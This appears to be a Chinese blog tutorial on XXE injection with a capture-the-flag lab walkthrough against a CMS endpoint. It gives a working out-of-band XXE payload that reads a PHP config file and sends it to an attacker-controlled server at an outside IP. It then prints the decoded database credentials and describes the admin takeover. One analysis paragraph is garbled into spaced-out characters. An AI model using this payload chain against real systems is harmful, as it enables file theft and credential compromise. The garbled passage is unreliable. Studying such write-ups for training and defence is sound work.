XXE实体注入(超详细!)

在这里插入图片描述

可以把它理解为txt,就是存储文件的,

读取并调用出来,这是最核心的

在这里插入图片描述
在这里插入图片描述

将你的代码当成XXE代码,然后XXE再交给PHP去执行

将1.txt的东西,放入test这个变量
实体就是变量
&test就是输出这个变量
<scan></scan>只是一个声明格式,随便写什么,就算写成<abc></abc>都可以,只要满足<x></x>格式就行

最主要的是访问的地址,file,http等协议都可以。

XXE:XML外部实体注入,原理:有了XML实体,关键字SYSTEM会令XML解析器从URL中读取内容,并允许它在XML文档中被替换。XML是被设计用来存储以及传输信息,本身不会做任何事情。真正读取的是PHP有一个处理XML的函数:simplexml_load_string()。
程序分析:SYSTEM关键字通过file协议读取c:/1.txt里面的内容赋值给test实体,&test引用实体赋值给了$test变量,这里所做的是构造xml代码,将xml代码传参给了simplexml_load_string()函数执行,真正的读取是在这个函数执行的,最后print_r输出。
没有simplexml_load_string()函数,是读取不出来的
在这里插入图片描述
在这里插入图片描述

有的时候,XXE并不是都会给显示出来,就像sql里的盲注,不会给你直接显示出来。

在这里插入图片描述

演示

前面这个file_put_contents是php的一个写入函数,
只要我们去访问x.php并向id里传参东西,那么传参的东西就会被记录到147.txt里面。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
同理,我们把这个代码翻入XEE里面也是同样的效果,但是看起来要简单一点。
结合前面x.php里面的写入代码和x.php的传参+现在的XEE文件,我们就可以很简单的实现注入!

在这里插入图片描述
在这里插入图片描述
这里之所以有3个147,是我访问了3次。

在这里插入图片描述
简单来说就是只要有人访问了这个PHP文件,那么传参的数据就会被记录下来
在这里插入图片描述

XXE和ssrf很像,XXE需要依托于xml文件,而ssrf不需要依托xml文件。

1.xml会去自动访问2.php,然后自动记录到3.txt
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
数据传入xml
在这里插入图片描述
POST传参,然后输出
在这里插入图片描述

靶场练习

1.xml会去自动访问2.php,然后自动记录到3.txt
在这里插入图片描述
程序分析:SYSTEM关键字令XML解析器读取了C:/phpStudy/scms/conn/conn.php里面的内容并进行base64编码赋值给了实体file,同时去访问了炮台上的1.xml,在1.xml会将实体file里面的值当成$_GET获得的id传参,去访问了2.php,在2.php里面将id传参的值记录下来,写进了3.txt文档里。

靶场演示:靶场是一个闪灵cms,里面有个weixin/index.php文件

在这里插入图片描述

http://59.63.200.79:8207/weixin/

?signature=fdasfas

在这里插入图片描述

查找simplexml_load_string()函数
程序分析:$postArr = file_get_contents(“php://input”); 将获取post的传参,赋值给变量
p o s t A r r , 再 传 参 给 s i m p l e x m l l o a d s t r i n g ( ) 函 数 , 往 上 看 , 发 现 要 执 行 s i m p l e x m l l o a d s t r i n g ( ) 函 数 , 是 有 条 件 的 , postArr,再传参给simplexml_load_string()函数,往上看,发现要执行simplexml_load_string()函数,是有条件的, postArr,simplexmlloadstring()simplexmlloadstring()signature != “” 变量值不为空;且$signature = R E Q U E S T [ “ s i g n a t u r e ” ] ; 这 个 变 量 值 来 自 于 _REQUEST[“signature”]; 这个变量值来自于 REQUEST[signature];_REQUEST获得的参数。
攻击思路:将我们构造好的xml代码,通过post传参,传递给变量$postArr
攻击代码,读取conn.php里数据库配置文件:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>

在这里插入图片描述

访问炮台上的http://59.63.200.79:8017/3.txt,获得数据,

PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOyAKaGVhZGVyKCJjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgiKTsKc2Vzc2lvbl9zdGFydCgpOwokY29ubiA9IG15c3FsaV9jb25uZWN0KCIxOTIuMTY4LjAuMTAiLCJ4eGUiLCAidGVpd28hOCM3RVJlMURQQyIsICJzY21zIik7Cm15c3FsaV9xdWVyeSgkY29ubiwnc2V0IG5hbWVzIHV0ZjgnKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiUFJDIik7CmlmICghJGNvbm4pIHsKICAgIGRpZSgi5pWw5o2u5bqT6L e5o6l5aSx6LSlOiAiIC4gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7Cn0KJGZ1bmN0aW9uZmlsZT1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9kYXRhL2Z1bmN0aW9uLmJhcyI7CiRkYXRhZmlsZT0iZGF0YS9kYXRhLmJhcyI7CiRhamF4ZmlsZT0iZGF0YS9hamF4LmJhcyI7CiRhcGlmaWxlPSJkYXRhL2FwaS5iYXMiOwo/Pg==
在这里插入图片描述
进行base64解码,获得数据库的账号,密码,库名
$conn = mysqli_connect(“192.168.0.10”,“xxe”, “teiwo!8#7ERe1DPC”, “scms”);
在这里插入图片描述
访问http://59.63.200.79:8207/adminer.php ,输入账号,密码,库名进行登录,登录成功
在这里插入图片描述

然后得到密码

在这里插入图片描述
将账号admin的 密码MD5解密得admintestv1

在这里插入图片描述

访问后台管理:http://59.63.200.79:8207/admin/#/app/index
提交flag: admintestv1
在这里插入图片描述

  • 7
    点赞
  • 69
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XXE(XML External Entity)注入是一种攻击技术,用于利用应用程序对外部实体的处理不当。通过在用户提供的输入中插入恶意的实体引用,攻击者可以读取本地文件、执行远程请求等。针对这种注入漏洞,应用程序应该对用户输入进行严格的过滤和验证,以避免恶意实体注入。 关于Webug 4.0的XXE注入漏洞,我不清楚具体的细节和漏洞位置。通常,修补XXE注入漏洞的方法是通过禁用外部实体的解析或限制实体解析的范围。为了更好地保护应用程序免受XXE注入攻击,您可以参考以下几点建议: 1. 输入过滤和验证:对用户输入进行严格的过滤和验证,确保只接受合法的输入。可以使用白名单过滤或正则表达式等技术来限制输入。 2. 禁用外部实体解析:在解析XML时,禁用外部实体的解析。这可以防止恶意实体注入。 3. 限制实体解析范围:如果应用程序需要解析实体,应该限制解析的范围,只允许解析特定的实体或特定的命名空间。 4. 使用安全的XML解析器:确保使用最新版本的XML解析器,并开启安全配置选项,以防止XXE注入攻击。 请注意,以上建议仅为一般性指导,具体修补漏洞需要根据应用程序和环境的特定情况来确定。建议您在修复漏洞之前,先了解Webug 4.0的文档、漏洞报告或咨询安全专家以获取更准确的信息和解决方案。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值